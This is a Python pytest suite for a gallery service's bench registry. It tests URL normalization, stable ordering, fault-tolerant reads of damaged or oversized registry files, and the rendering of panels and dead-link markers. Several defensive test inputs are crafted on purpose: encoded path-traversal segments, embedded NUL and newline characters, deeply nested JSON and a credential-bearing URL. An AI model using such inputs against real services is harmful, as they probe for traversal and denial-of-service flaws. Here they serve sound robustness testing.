def test_refused_urls_raise_with_a_reason(bad):
|
||||
with pytest.raises(ValueError) as e:
|
||||
normalize_bench_url(bad)
|
||||
assert str(e.value).strip(), "a refusal with no reason is a refusal the CLI cannot print"
|
||||
|
||||
|
||||
def test_credentials_are_refused_not_stripped():
|
||||
"""Stripping would register a bench whose URL no longer works while telling
|
||||
the poster it succeeded — and put a credential on an unauthenticated LAN
|
||||
surface on the way. Defeating change: `netloc.rpartition('@')[2]`."""
|
||||
with pytest.raises(ValueError):
|
||||
normalize_bench_url("https://user:hunter2@x.test/p")
|
||||
|
||||
|
||||
# ---- INV-7: `url` is what a click goes to; `id` is never the href -----------
|
||||
|
||||
|
||||
def test_the_stored_url_is_the_raw_string(tmp_path):
|
||||
"""INV-7. Defeating change: storing the normalized form as `url` because it
|
||||
is 'the clean one'. Every field that differs is asserted, byte for byte."""
|
||||
raw = " HTTP://X.Test:80/Some%20Path/?b=2&a=1#frag "
|
||||
bench, _ = upsert_bench(tmp_path, raw, "n", "o")
|
||||
assert bench.url == raw.strip()
|
||||
assert bench.id != bench.url
|
||||
assert bench.id == "http://x.test/Some%20Path/?b=2&a=1"
|
||||
assert read_benches(tmp_path)[0][0].url == raw.strip()
|
||||
|
||||
|
||||
# ---- INV-4: the rendered order is TOTAL and stated --------------------------
|
||||
|
||||
|
||||
def test_same_name_benches_do_not_swap():
|
||||
"""INV-4. Defeating change: dropping the `id` tie-break.
|
||||
|
||||
THIS TEST USED TO GO THROUGH THE REGISTRY AND COULD NOT FAIL. `_write_all`
|
||||
serializes with `sort_keys=True`, so whatever order two benches were
|
||||
inserted in, they came back off disk already id-sorted — and removing the
|
||||
tie-break from `order_benches` left it green. A vacuous falsifier of
|
||||
exactly the shape persistent-memory.d/2026-09-22-vacuous-falsifiers.md
|
||||
describes: it asserted the outcome the author had in mind rather than the
|
||||
discriminator the invariant names. Caught by the cold panel (hulda, solo),
|
||||
not by us.
|
||||
|
||||
So it calls `order_benches` DIRECTLY, with records that tie on both prior
|
||||
keys, presented in both orders. Nothing upstream can pre-sort them.
|
||||
"""
|
||||
def recs(order):
|
||||
pair = [
|
||||
Bench(id="http://a.test/", url="http://a.test/", name="same name",
|
||||
owner="o", state="live", added="", updated=""),
|
||||
Bench(id="http://b.test/", url="http://b.test/", name="same name",
|
||||
owner="o", state="live", added="", updated=""),
|
||||
]
|
||||
return pair if order else list(reversed(pair))
|
||||
assert [b.id for b in order_benches(recs(0))] == \
|
||||
[b.id for b in order_benches(recs(1))]
|
||||
assert [b.id for b in order_benches(recs(1))] == ["http://a.test/", "http://b.test/"]
|
||||
|
||||
|
||||
def test_state_ranks_before_name(tmp_path):
|
||||
"""INV-4. live → promoted → retired, THEN name. Defeating change: ordering
|
||||
by name alone, which a fixture of three same-state benches cannot see."""
|
||||
upsert_bench(tmp_path, "http://a.test/", "aaa", "o") # would sort first by name
|
||||
upsert_bench(tmp_path, "http://z.test/", "zzz", "o")
|
||||
set_bench_state(tmp_path, normalize_bench_url("http://a.test/"), "retired")
|
||||
assert [b.name for b in read_benches(tmp_path)[0]] == ["zzz", "aaa"]
|
||||
|
||||
|
||||
def test_order_is_case_insensitive_on_name(tmp_path):
|
||||
upsert_bench(tmp_path, "http://b.test/", "Bravo", "o")
|
||||
upsert_bench(tmp_path, "http://a.test/", "alpha", "o")
|
||||
assert [b.name for b in read_benches(tmp_path)[0]] == ["alpha", "Bravo"]
|
||||
|
||||
|
||||
def test_order_benches_is_pure(tmp_path):
|
||||
"""INV-4. Defeating change: `order_benches` doing I/O or sorting in place.
|
||||
Called with records belonging to NO root, it must still answer."""
|
||||
made = [Bench(id=f"http://{c}.test/", url=f"http://{c}.test/", name=c,
|
||||
owner="o", state="live", added="", updated="") for c in "ba"]
|
||||
assert [b.name for b in order_benches(made)] == ["a", "b"]
|
||||
assert [b.name for b in made] == ["b", "a"], "input was mutated"
|
||||
|
||||
|
||||
# ---- INV-5: the read cannot raise, and cannot cost the caller unboundedly ---
|
||||
|
||||
|
||||
def _write_raw(root: pathlib.Path, payload: str) -> None:
|
||||
(root / BENCHES_FILE).write_text(payload)
|
||||
|
||||
|
||||
def test_absent_registry_is_not_an_error(tmp_path):
|
||||
benches, err = read_benches(tmp_path)
|
||||
assert benches == [] and err is None
|
||||
|
||||
|
||||
@pytest.mark.parametrize("payload,label", [
|
||||
("this is not json", "non-JSON bytes"),
|
||||
("[]", "valid JSON of the wrong top-level shape"),
|
||||
('{"benches": []}', "the list shape this unit deliberately does not use"),
|
||||
('{"http://a/": "a string, not a record"}', "a value of the wrong type"),
|
||||
('{"http://a/": {"name": [], "owner": "o", "state": "live"}}', "a FIELD of the wrong type"),
|
||||
('{"http://a/": {"name": "n", "owner": "o", "state": "invented"}}', "an unknown state"),
|
||||
])
|
||||
def test_damaged_registries_report_rather_than_raise(tmp_path, payload, label):
|
||||
"""INV-5. Defeating change: `json.load` with no guard, or `except: pass`
|
||||
which would report absent. The error must be NON-EMPTY — 'damaged' and
|
||||
'absent' must not render the same, because only one of them needs a human.
|
||||
The wrong-typed-FIELD row is the shape currently 500ing the gallery
|
||||
elsewhere in this service."""
|
||||
_write_raw(tmp_path, payload)
|
||||
benches, err = read_benches(tmp_path)
|
||||
assert err, f"{label} reported no error"
|
||||
assert benches == []
|
||||
|
||||
|
||||
def test_oversized_registry_is_refused_by_size_before_parsing(tmp_path):
|
||||
"""INV-5. Defeating change: parsing first and checking length after, which
|
||||
costs the caller the whole file. A FIFO has st_size 0, so the guard must
|
||||
bound the READ, not trust the stat — the 2026-09-22 hang lesson."""
|
||||
import booth.benches as B
|
||||
_write_raw(tmp_path, '{"http://a/": {"name": "' + "x" * B.BENCHES_MAX_BYTES + '"}}')
|
||||
benches, err = read_benches(tmp_path)
|
||||
assert err and benches == []
|
||||
# AND PROVE THE PARSE WAS NEVER REACHED. Asserting only the eventual result
|
||||
# passes an implementation that loads the whole document and checks its
|
||||
# length afterwards — which costs the caller exactly what the cap exists to
|
||||
# save. Booby-trap json.loads: if it runs, the test says so. Cold panel,
|
||||
# hulda F11.
|
||||
import json as _json
|
||||
tripped = []
|
||||
real = _json.loads
|
||||
|
||||
def trap(*a, **k):
|
||||
tripped.append(True)
|
||||
return real(*a, **k)
|
||||
B.json.loads = trap
|
||||
try:
|
||||
benches, err = read_benches(tmp_path)
|
||||
finally:
|
||||
B.json.loads = real
|
||||
assert err and not tripped, "the oversized registry was parsed before it was refused"
|
||||
|
||||
|
||||
@pytest.mark.skipif(os.geteuid() == 0, reason="root ignores the mode bit")
|
||||
def test_unreadable_registry_reports_rather_than_raises(tmp_path):
|
||||
p = tmp_path / BENCHES_FILE
|
||||
p.write_text("{}")
|
||||
p.chmod(0o000)
|
||||
try:
|
||||
benches, err = read_benches(tmp_path)
|
||||
assert err and benches == []
|
||||
finally:
|
||||
p.chmod(0o644)
|
||||
|
||||
|
||||
# ---- INV-1: one module knows the registry's filename ------------------------
|
||||
|
||||
|
||||
def test_only_benches_py_names_the_registry_file():
|
||||
"""INV-1. Defeating change: a route reading `.benches.json` directly to save
|
||||
an import. Asserting that the panel renders would pass under exactly that."""
|
||||
root = pathlib.Path(__file__).parent.parent
|
||||
offenders = []
|
||||
for f in list((root / "booth").rglob("*.py")) + [root / "scripts" / "booth"]:
|
||||
if f.name == "benches.py":
|
||||
continue
|
||||
if ".benches.json" in f.read_text():
|
||||
offenders.append(str(f.relative_to(root)))
|
||||
assert not offenders, f"the registry filename is hard-coded outside benches.py: {offenders}"
|
||||
|
||||
|
||||
# ---- INV-9: stdlib-only, AND sibling-free (seam review SR-1) ----------------
|
||||
|
||||
|
||||
def test_benches_is_stdlib_only_and_imports_no_sibling():
|
||||
"""INV-9. The PARAMETRIZED test in test_marks.py exempts `booth` on purpose,
|
||||
so it cannot catch `from booth.links import booth_target` — which is exactly
|
||||
the import this unit tempts an implementer into. This is the strict copy,
|
||||
mirroring tests/test_manifest.py. Seam review SR-1."""
|
||||
src = pathlib.Path(__file__).parent.parent / "booth" / "benches.py"
|
||||
tree = ast.parse(src.read_text())
|
||||
roots = set()
|
||||
for node in ast.walk(tree):
|
||||
if isinstance(node, ast.Import):
|
||||
roots.update(a.name.split(".")[0] for a in node.names)
|
||||
elif isinstance(node, ast.ImportFrom):
|
||||
roots.add("booth" if node.level else (node.module or "").split(".")[0])
|
||||
outside = {r for r in roots if r and r not in sys.stdlib_module_names}
|
||||
assert not outside, f"booth/benches.py imports outside the stdlib (booth.* included): {sorted(outside)}"
|
||||
# A STRING IMPORT IS INVISIBLE TO THE WALK ABOVE. `__import__("booth.links")`
|
||||
# or `importlib.import_module(...)` inside a function defeats it entirely,
|
||||
# and that is the exact shape someone reaches for when a sibling import is
|
||||
# refused by review. Caught by the cold panel's per-invariant vacuity pass.
|
||||
called = {n.func.id for n in ast.walk(tree)
|
||||
if isinstance(n, ast.Call) and isinstance(n.func, ast.Name)}
|
||||
assert "__import__" not in called, "benches.py imports by string, defeating the AST walk"
|
||||
assert "importlib" not in roots, "benches.py can import anything at runtime via importlib"
|
||||
|
||||
|
||||
# ---- INV-2: ONE predicate decides what a booth URL is -----------------------
|
||||
|
||||
# Every row is (url, expected booth name or None). Run against BOTH callers.
|
||||
BOOTH_URL_TABLE = [
|
||||
("http://10.100.10.50:8090/b/sindra-bakeoff/", "sindra-bakeoff"),
|
||||
("http://10.100.10.50:8090/b/sindra-bakeoff", "sindra-bakeoff"),
|
||||
("http://localhost:8090/b/x/", "x"),
|
||||
("http://NH3-DEV.nh3.internal:8090/b/x/", "x"), # host-agnostic, any case
|
||||
("https://10.100.10.50:8090/b/x/", "x"), # scheme-agnostic
|
||||
("http://10.100.10.50:8090/b/my%20booth/", "my booth"), # SR-7: decoded
|
||||
("http://10.100.10.50:8090/b/x/zoom/a.png", "x"), # nested path
|
||||
("http://10.100.10.50:8090/b/x/?q=1", "x"), # query
|
||||
("http://10.100.10.50:8090/b/x/#frag", "x"),
|
||||
("http://10.100.10.50:8090/", None), # the Booth root IS a bench
|
||||
("http://10.100.10.50:8090/b/", None), # no name
|
||||
("http://10.100.10.50:8090/b//", None),
|
||||
("http://10.100.10.50:8090/b/.hidden/", None), # resolve_booth's rules
|
||||
("http://10.100.10.50:8090/b/%2e%2e/", None), # decoded `..`
|
||||
("http://10.100.10.50:8090/b/a%2Fb/", None), # decoded separator
|
||||
("https://gitea.phasefinal.com/vh/peedlar", None),
|
||||
("not a url at all", None),
|
||||
# THE ACCEPTED COST, MADE EXPLICIT. The predicate is host-agnostic on
|
||||
# purpose — a host allowlist fails OPEN on whichever name somebody reaches
|
||||
# this service by next — so a third-party URL with a `/b/<x>` path reads as
|
||||
# a booth link and is refused. The contract names this trade-off; the table
|
||||
# had no row exercising it, so nothing pinned the behaviour either way.
|
||||
# Cold panel, hulda F10.
|
||||
("https://example.com/b/not-ours/", "not-ours"),
|
||||
]
|
||||
|
||||
|
||||
@pytest.mark.parametrize("url,expected", BOOTH_URL_TABLE)
|
||||
def test_booth_target_classifies(url, expected):
|
||||
"""INV-2. The table is shared with the CLI refusal test and the dead-marker
|
||||
test, so a second implementation in either place goes red here or there."""
|
||||
assert booth_target(url) == expected
|
||||
|
||||
|
||||
def test_booth_target_never_raises():
|
||||
"""A board row is arbitrary operator-editable text; a predicate that raises
|
||||
on one row takes the whole page. Defeating change: `urlsplit` unguarded."""
|
||||
for junk in ["", " ", "http://[oops", "\x00", "://", "http://]"]:
|
||||
assert booth_target(junk) is None
|
||||
|
||||
|
||||
# ---- upsert semantics -------------------------------------------------------
|
||||
|
||||
|
||||
def test_added_survives_reregistration_updated_does_not(tmp_path):
|
||||
first, created = upsert_bench(tmp_path, "http://a.test/", "one", "o1")
|
||||
assert created
|
||||
second, created = upsert_bench(tmp_path, "http://a.test/", "two", "o2")
|
||||
assert not created
|
||||
assert second.added == first.added
|
||||
assert second.name == "two" and second.owner == "o2"
|
||||
assert second.updated >= first.updated
|
||||
|
||||
|
||||
def test_state_survives_reregistration(tmp_path):
|
||||
"""A promoted bench that re-announces itself is still promoted — otherwise
|
||||
every deploy silently demotes it."""
|
||||
upsert_bench(tmp_path, "http://a.test/", "one", "o")
|
||||
set_bench_state(tmp_path, normalize_bench_url("http://a.test/"), "promoted")
|
||||
again, _ = upsert_bench(tmp_path, "http://a.test/", "one again", "o")
|
||||
assert again.state == "promoted"
|
||||
|
||||
|
||||
def test_a_new_bench_is_live(tmp_path):
|
||||
bench, _ = upsert_bench(tmp_path, "http://a.test/", "one", "o")
|
||||
assert bench.state == "live" and bench.state in BENCH_STATES
|
||||
|
||||
|
||||
def test_set_state_refuses_an_unknown_state(tmp_path):
|
||||
upsert_bench(tmp_path, "http://a.test/", "one", "o")
|
||||
with pytest.raises(ValueError):
|
||||
set_bench_state(tmp_path, normalize_bench_url("http://a.test/"), "invented")
|
||||
|
||||
|
||||
def test_set_state_and_remove_miss_cleanly(tmp_path):
|
||||
assert set_bench_state(tmp_path, "http://nope/", "live") is None
|
||||
assert remove_bench(tmp_path, "http://nope/") is None
|
||||
|
||||
|
||||
def test_remove_returns_the_record_and_drops_it(tmp_path):
|
||||
upsert_bench(tmp_path, "http://a.test/", "one", "o")
|
||||
gone = remove_bench(tmp_path, normalize_bench_url("http://a.test/"))
|
||||
assert gone is not None and gone.name == "one"
|
||||
assert read_benches(tmp_path)[0] == []
|
||||
|
||||
|
||||
def test_fields_are_capped_at_the_write(tmp_path):
|
||||
from booth.benches import NAME_MAX, OWNER_MAX
|
||||
bench, _ = upsert_bench(tmp_path, "http://a.test/", "n" * 500, "o" * 500)
|
||||
assert len(bench.name) == NAME_MAX and len(bench.owner) == OWNER_MAX
|
||||
|
||||
|
||||
def test_a_write_over_a_damaged_registry_does_not_destroy_it(tmp_path):
|
||||
"""The 2026-09-21 lesson, in this unit's storage: reads are lenient, writes
|
||||
are STRICT. A damaged registry must not be silently replaced by a fresh one
|
||||
carrying only the new row — that is the marks-wipe bug in a new file."""
|
||||
_write_raw(tmp_path, '{"http://a/": {"name": "real", "owner": "o", "state": "live"}, BROKEN')
|
||||
before = (tmp_path / BENCHES_FILE).read_text()
|
||||
with pytest.raises(ValueError):
|
||||
upsert_bench(tmp_path, "http://b.test/", "new", "o")
|
||||
assert (tmp_path / BENCHES_FILE).read_text() == before
|
||||
|
||||
|
||||
def test_the_on_disk_shape_is_an_object_keyed_by_id(tmp_path):
|
||||
"""Two rows with one identity are then impossible BY CONSTRUCTION rather
|
||||
than by an upsert remembering to check."""
|
||||
upsert_bench(tmp_path, "http://a.test/", "one", "o")
|
||||
raw = json.loads((tmp_path / BENCHES_FILE).read_text())
|
||||
# The key is the NORMALIZED url, so the bare "/" is already gone — which is
|
||||
# the rule `test_these_pairs_are_one_bench` pins independently.
|
||||
assert isinstance(raw, dict) and list(raw) == ["http://a.test"]
|
||||
assert "id" not in raw["http://a.test"], "the key IS the id; storing it twice invites drift"
|
||||
|
||||
|
||||
# ---- the rendered surface ---------------------------------------------------
|
||||
#
|
||||
# The benches panel and the dead-row marker both live on the standing board's
|
||||
# page — the one booth carrying a links.md.
|
||||
|
||||
from fastapi.testclient import TestClient # noqa: E402
|
||||
|
||||
from booth.app import create_app # noqa: E402
|
||||
|
||||
|
||||
def _board(root: pathlib.Path, rows: str) -> pathlib.Path:
|
||||
b = root / "links"
|
||||
b.mkdir(parents=True, exist_ok=True)
|
||||
(b / "links.md").write_text(rows)
|
||||
return b
|
||||
|
||||
|
||||
def _client(root):
|
||||
return TestClient(create_app(root, ttl_hours=24, start_sweeper=False))
|
||||
|
||||
|
||||
ROW_LIVE = "- [still here](http://10.100.10.50:8090/b/alive/) <sub>· x · 2026-09-01 00:00</sub>\n"
|
||||
ROW_DEAD = "- [swept](http://10.100.10.50:8090/b/gone/) <sub>· x · 2026-09-01 00:00</sub>\n"
|
||||
ROW_REF = "- [a repo](https://gitea.phasefinal.com/vh/peedlar) <sub>· x · 2026-09-01 00:00</sub>\n"
|
||||
|
||||
|
||||
def _dead_rows(body: str) -> list[str]:
|
||||
"""Board ROWS carrying the dead class.
|
||||
|
||||
Scoped to `<div class="board-row ...">` on purpose: the class name also
|
||||
appears in base.html's stylesheet, so a whole-document substring test is
|
||||
always true and can never go red — a vacuous falsifier of exactly the shape
|
||||
persistent-memory.d/2026-09-22-vacuous-falsifiers.md describes.
|
||||
"""
|
||||
return [ln for ln in body.splitlines()
|
||||
if 'class="board-row' in ln and "board-dead" in ln]
|
||||
|
||||
|
||||
def test_a_dead_row_is_marked_and_a_live_one_is_not(tmp_path):
|
||||
"""The marker. Defeating change: marking every `/b/` row dead, or none.
|
||||
Both a live target and a dead one are in ONE fixture, so a marker that is
|
||||
constant in either direction goes red."""
|
||||
(tmp_path / "alive").mkdir()
|
||||
_board(tmp_path, ROW_LIVE + ROW_DEAD + ROW_REF)
|
||||
r = _client(tmp_path).get("/b/links/")
|
||||
assert r.status_code == 200
|
||||
rows = _dead_rows(r.text)
|
||||
assert len(rows) == 1, f"exactly one of the three rows is dead, got {rows}"
|
||||
assert "/b/gone/" in r.text and "booth is gone" in r.text
|
||||
|
||||
|
||||
def test_the_marker_never_takes_the_page(tmp_path):
|
||||
"""Seam review SR-2. `resolve_booth` RAISES HTTPException(404); calling it
|
||||
per row would turn one swept booth into a 404 for the whole board. This is
|
||||
the test that goes red under that exact implementation."""
|
||||
_board(tmp_path, ROW_DEAD * 5)
|
||||
assert _client(tmp_path).get("/b/links/").status_code == 200
|
||||
|
||||
|
||||
def test_a_percent_encoded_booth_is_not_marked_dead(tmp_path):
|
||||
"""Seam review SR-7. `quote(name, safe="")` is how the service emits these,
|
||||
so the marker must decode before it looks on disk. Defeating change:
|
||||
comparing the raw path segment — which marks this row dead forever."""
|
||||
(tmp_path / "my booth").mkdir()
|
||||
_board(tmp_path, "- [x](http://10.100.10.50:8090/b/my%20booth/) <sub>· x · 2026-09-01 00:00</sub>\n")
|
||||
assert _dead_rows(_client(tmp_path).get("/b/links/").text) == []
|
||||
|
||||
|
||||
def test_a_reference_row_is_never_marked_dead(tmp_path):
|
||||
_board(tmp_path, ROW_REF)
|
||||
assert _dead_rows(_client(tmp_path).get("/b/links/").text) == []
|
||||
|
||||
|
||||
def test_the_panel_renders_registered_benches(tmp_path):
|
||||
_board(tmp_path, ROW_REF)
|
||||
upsert_bench(tmp_path, "https://talk.nh3.phasefinal.com:8092/", "talk", "tts-dev")
|
||||
body = _client(tmp_path).get("/b/links/").text
|
||||
assert "talk" in body and "tts-dev" in body
|
||||
|
||||
|
||||
def test_the_anchor_href_is_the_raw_url_not_the_id(tmp_path):
|
||||
"""INV-7. Defeating change: rendering `bench.id` in the href because it is
|
||||
'the clean one'. The raw URL here normalizes differently in three ways."""
|
||||
raw = "HTTP://Talk.NH3.test:80/Some%20Path/?b=2&a=1#frag"
|
||||
_board(tmp_path, ROW_REF)
|
||||
upsert_bench(tmp_path, raw, "talk", "o")
|
||||
body = _client(tmp_path).get("/b/links/").text
|
||||
assert 'href="HTTP://Talk.NH3.test:80/Some%20Path/?b=2&a=1#frag"' in body, \
|
||||
"the href must be the URL as posted, byte for byte"
|
||||
|
||||
|
||||
@pytest.mark.parametrize("payload,label", [
|
||||
(None, "absent"),
|
||||
("not json", "non-JSON"),
|
||||
("[]", "wrong top-level shape"),
|
||||
('{"http://a/": {"name": [], "owner": "o", "state": "live"}}', "wrong-typed field"),
|
||||
('{"http://a/": {"name": "n", "owner": "o", "state": "invented"}}', "unknown state"),
|
||||
("OVERSIZED", "over the size cap"),
|
||||
("UNREADABLE", "chmod 000"),
|
||||
("FIFO", "a named pipe"),
|
||||
])
|
||||
def test_a_damaged_registry_costs_its_panel_and_never_the_page(tmp_path, payload, label):
|
||||
"""INV-5, at the render. The v0.2.2 lesson: a poisoned sidecar returned 500
|
||||
for `/` and `/healthz` across all 25 booths. The wrong-typed-FIELD row is
|
||||
the shape currently 500ing the gallery elsewhere in this service, so it is
|
||||
the one that matters most."""
|
||||
_board(tmp_path, ROW_REF)
|
||||
reg = tmp_path / BENCHES_FILE
|
||||
if payload == "OVERSIZED":
|
||||
from booth.benches import BENCHES_MAX_BYTES
|
||||
reg.write_text('{"http://a/": {"name": "' + "x" * BENCHES_MAX_BYTES + '"}}')
|
||||
elif payload == "UNREADABLE":
|
||||
if os.geteuid() == 0:
|
||||
pytest.skip("root ignores the mode bit")
|
||||
reg.write_text("{}")
|
||||
reg.chmod(0o000)
|
||||
elif payload == "FIFO":
|
||||
os.mkfifo(reg)
|
||||
elif payload is not None:
|
||||
reg.write_text(payload)
|
||||
try:
|
||||
c = _client(tmp_path)
|
||||
body = c.get("/b/links/")
|
||||
assert body.status_code == 200, label
|
||||
assert c.get("/").status_code == 200, label
|
||||
assert c.get("/healthz").status_code == 200, label
|
||||
# AND THE ERROR IS VISIBLE. Asserting only 200 was the gap: a render
|
||||
# that swallowed the failure and drew an empty panel passed every case
|
||||
# here while telling the operator nothing needed fixing. Absent is the
|
||||
# one case that must NOT show an error.
|
||||
shown = "the bench registry could not be read" in body.text
|
||||
assert shown is (payload is not None), label
|
||||
finally:
|
||||
if payload == "UNREADABLE":
|
||||
reg.chmod(0o644)
|
||||
|
||||
|
||||
def test_damaged_and_absent_render_different_text(tmp_path):
|
||||
"""INV-5. Only ONE of them needs a human. Defeating change: `except: pass`
|
||||
returning ([], None), which renders damaged exactly like absent."""
|
||||
_board(tmp_path, ROW_REF)
|
||||
absent = _client(tmp_path).get("/b/links/").text
|
||||
(tmp_path / BENCHES_FILE).write_text("not json")
|
||||
damaged = _client(tmp_path).get("/b/links/").text
|
||||
assert absent != damaged
|
||||
|
||||
|
||||
def test_the_panel_does_not_render_on_an_ordinary_booth(tmp_path):
|
||||
"""A bench registry on every gallery page would be noise, and would cost a
|
||||
read per booth page view for a surface that belongs to exactly one."""
|
||||
(tmp_path / "ordinary").mkdir()
|
||||
(tmp_path / "ordinary" / "a.png").write_bytes(b"\x89PNG\r\n\x1a\n")
|
||||
upsert_bench(tmp_path, "https://talk.test/", "talk", "o")
|
||||
assert "talk" not in _client(tmp_path).get("/b/ordinary/").text
|
||||
|
||||
|
||||
def test_the_benches_routes_round_trip(tmp_path):
|
||||
_board(tmp_path, ROW_REF)
|
||||
c = _client(tmp_path)
|
||||
assert c.post("/b/links/bench-add", data={"url": "https://x.test/", "name": "ex"},
|
||||
follow_redirects=False).status_code in (302, 303)
|
||||
assert "ex" in c.get("/b/links/").text
|
||||
bid = normalize_bench_url("https://x.test/")
|
||||
c.post("/b/links/bench-state", data={"bench": bid, "state": "retired"},
|
||||
follow_redirects=False)
|
||||
assert read_benches(tmp_path)[0][0].state == "retired"
|
||||
c.post("/b/links/bench-remove", data={"bench": bid}, follow_redirects=False)
|
||||
assert read_benches(tmp_path)[0] == []
|
||||
|
||||
|
||||
def test_a_bad_url_posted_to_the_route_does_not_500(tmp_path):
|
||||
_board(tmp_path, ROW_REF)
|
||||
c = _client(tmp_path)
|
||||
r = c.post("/b/links/bench-add", data={"url": "ftp://x.test/f", "name": "ex"},
|
||||
follow_redirects=False)
|
||||
assert r.status_code in (302, 303, 400)
|
||||
assert c.get("/b/links/").status_code == 200
|
||||
|
||||
|
||||
# ---- found by the in-session adversarial pass, after the cold panels shipped -
|
||||
|
||||
|
||||
def test_a_fifo_at_the_registry_path_cannot_hang_the_render(tmp_path):
|
||||
"""A NAMED PIPE IS NOT A REGULAR FILE, AND open() BLOCKS ON IT.
|
||||
|
||||
This is the 2026-09-22 lesson recurring in a new file: a size cap that
|
||||
bounds the READ does not help, because the hang is in `open()` — a FIFO
|
||||
with no writer blocks there forever, before a single byte is bounded.
|
||||
`read_benches` runs on the board page's render path, so one FIFO would hang
|
||||
that request and, with enough hits, the threadpool behind every route.
|
||||
|
||||
The guard is a REGULAR-FILE check before the open, which is what marks.py
|
||||
already does (`stat.S_ISREG`). Defeating change: reverting to `path.open()`
|
||||
guarded only by a byte cap — which is what this unit shipped first, while
|
||||
its docstring claimed the cap closed exactly this hole.
|
||||
"""
|
||||
os.mkfifo(tmp_path / BENCHES_FILE)
|
||||
benches, err = read_benches(tmp_path) # must RETURN, not block
|
||||
assert benches == [] and err
|
||||
|
||||
|
||||
def test_a_directory_at_the_registry_path_is_an_error_not_a_crash(tmp_path):
|
||||
(tmp_path / BENCHES_FILE).mkdir()
|
||||
benches, err = read_benches(tmp_path)
|
||||
assert benches == [] and err
|
||||
|
||||
|
||||
@pytest.mark.parametrize("encoded", ["%00", "%0a", "%0d", "%09", "%1b"])
|
||||
def test_a_control_character_is_not_an_addressable_booth(encoded):
|
||||
"""`unquote` happily produces a NUL or a newline, and neither can name a
|
||||
real directory. Left unfiltered they reach `is_dir()` (which raises
|
||||
ValueError on an embedded NUL on some paths), the refusal message the CLI
|
||||
prints, and the marker the board renders. Defeating change: dropping the
|
||||
control-character clause — the `%2e%2e` and `%2f` rows above stay green
|
||||
under it, so this needs its own."""
|
||||
assert booth_target(f"http://h:8090/b/{encoded}/") is None
|
||||
|
||||
|
||||
def test_normalization_is_idempotent(tmp_path):
|
||||
"""LOAD-BEARING for `bench state <id|url>` and `bench rm <id|url>`: both
|
||||
normalize whatever they are handed, so an id must normalize to itself or
|
||||
addressing a bench by the id the registry stores would miss it. Defeating
|
||||
change: any rule that rewrites an already-normalized form."""
|
||||
for u in (GITEA_EIGHT + TALK_FIVE + [
|
||||
"http://x.test/", "http://x.test:8080/p/", "https://x.test/?a=1",
|
||||
"HTTP://X.Test:80/Some%20Path/?b=2&a=1#frag",
|
||||
]):
|
||||
once = normalize_bench_url(u)
|
||||
assert normalize_bench_url(once) == once, u
|
||||
|
||||
|
||||
def test_a_failed_write_leaves_no_scratch_file(tmp_path, monkeypatch):
|
||||
"""The temp file is named per-pid so two writers cannot share it, but a
|
||||
write that dies between create and replace would strand it beside the
|
||||
registry forever. Defeating change: dropping the cleanup."""
|
||||
import booth.benches as B
|
||||
upsert_bench(tmp_path, "http://a.test/", "one", "o")
|
||||
real = B.os.replace
|
||||
|
||||
def boom(src, dst):
|
||||
raise OSError("disk full")
|
||||
monkeypatch.setattr(B.os, "replace", boom)
|
||||
with pytest.raises(OSError):
|
||||
upsert_bench(tmp_path, "http://b.test/", "two", "o")
|
||||
monkeypatch.setattr(B.os, "replace", real)
|
||||
strays = [p.name for p in tmp_path.iterdir() if ".tmp" in p.name]
|
||||
assert not strays, strays
|
||||
# and the prior registry is intact — a failed write destroys nothing
|
||||
assert [b.name for b in read_benches(tmp_path)[0]] == ["one"]
|
||||
|
||||
|
||||
def test_an_ipv6_literal_keeps_its_brackets():
|
||||
"""`urlsplit().hostname` strips them, and a netloc rebuilt from it is not
|
||||
another spelling of the URL — it is a broken one, so a re-post never
|
||||
matches the row the operator means to update. Defeating change: rebuilding
|
||||
netloc from `hostname` with no re-wrap, which is what this shipped as."""
|
||||
assert normalize_bench_url("http://[::1]:8080/a") == "http://[::1]:8080/a"
|
||||
assert normalize_bench_url("http://[2001:DB8::1]/p") == "http://[2001:db8::1]/p"
|
||||
assert normalize_bench_url("HTTP://[::1]:80/p") == "http://[::1]/p"
|
||||
# An UNBRACKETED IPv6 netloc is refused with a reason, not repaired:
|
||||
# `urlsplit(...).port` raises on `::1:8080` because it cannot tell the
|
||||
# address from the port — which is precisely why the brackets exist. The
|
||||
# refusal is the honest answer; guessing where the address ends would be
|
||||
# inventing an identity out of an ambiguous string.
|
||||
with pytest.raises(ValueError):
|
||||
normalize_bench_url("http://::1:8080/a")
|
||||
|
||||
|
||||
def test_deeply_nested_json_does_not_escape_the_read(tmp_path):
|
||||
"""RecursionError is neither ValueError nor OSError, so it went straight
|
||||
past `read_benches`'s except pair and 500'd the page the function exists to
|
||||
protect. The byte cap does not help: 200k open brackets is 200 KB, well
|
||||
inside it. Defeating change: dropping the RecursionError arm."""
|
||||
(tmp_path / BENCHES_FILE).write_text("[" * 200_000)
|
||||
benches, err = read_benches(tmp_path)
|
||||
assert benches == [] and err
|
||||
|
||||
|
||||
def test_the_panel_renders_on_an_EMPTY_board(tmp_path):
|
||||
"""The panel is gated on PAGE IDENTITY, not page content. Gating on
|
||||
`board or benches` hid the panel and its registration form exactly when the
|
||||
board was empty and the registry absent — the state a new deployment starts
|
||||
in, and the one where "no benches registered yet" is most worth saying.
|
||||
Defeating change: any content-derived gate."""
|
||||
_board(tmp_path, "")
|
||||
body = _client(tmp_path).get("/b/links/").text
|
||||
assert "no benches registered yet" in body
|
||||
assert "bench-add" in body, "the registration form vanished with the panel"
|
||||
|
||||
|
||||
def test_the_panel_shows_when_a_bench_was_added(tmp_path):
|
||||
"""INV-N/What renders: the contract says the panel shows the date it was
|
||||
added; `b.added` appeared nowhere in the template and no test asked. All
|
||||
four cold arms found this independently."""
|
||||
_board(tmp_path, ROW_REF)
|
||||
upsert_bench(tmp_path, "https://talk.test/", "talk", "o")
|
||||
added = read_benches(tmp_path)[0][0].added[:10]
|
||||
assert added in _client(tmp_path).get("/b/links/").text
|
||||
|
||||
|
||||
@pytest.mark.parametrize("url,expected", BOOTH_URL_TABLE)
|
||||
def test_the_dead_marker_classifies_the_SAME_table(tmp_path, url, expected):
|
||||
"""INV-2 names RENDER-LEVEL agreement, and the marker tests never ran the
|
||||
table — three hand-written rows with no query between them, so a marker
|
||||
that stopped calling `booth_target` and treated `?q=1` as "not a booth"
|
||||
stayed green while disagreeing with the CLI. Caught by the cold panel.
|
||||
|
||||
Every row whose target does not exist on disk must be marked dead; every
|
||||
non-booth row must not be."""
|
||||
_board(tmp_path, f"- [r]({url}) <sub>· x · 2026-09-01 00:00</sub>\n")
|
||||
marked = bool(_dead_rows(_client(tmp_path).get("/b/links/").text))
|
||||
assert marked is (expected is not None), (url, expected)
|
||||
|
||||
|
||||
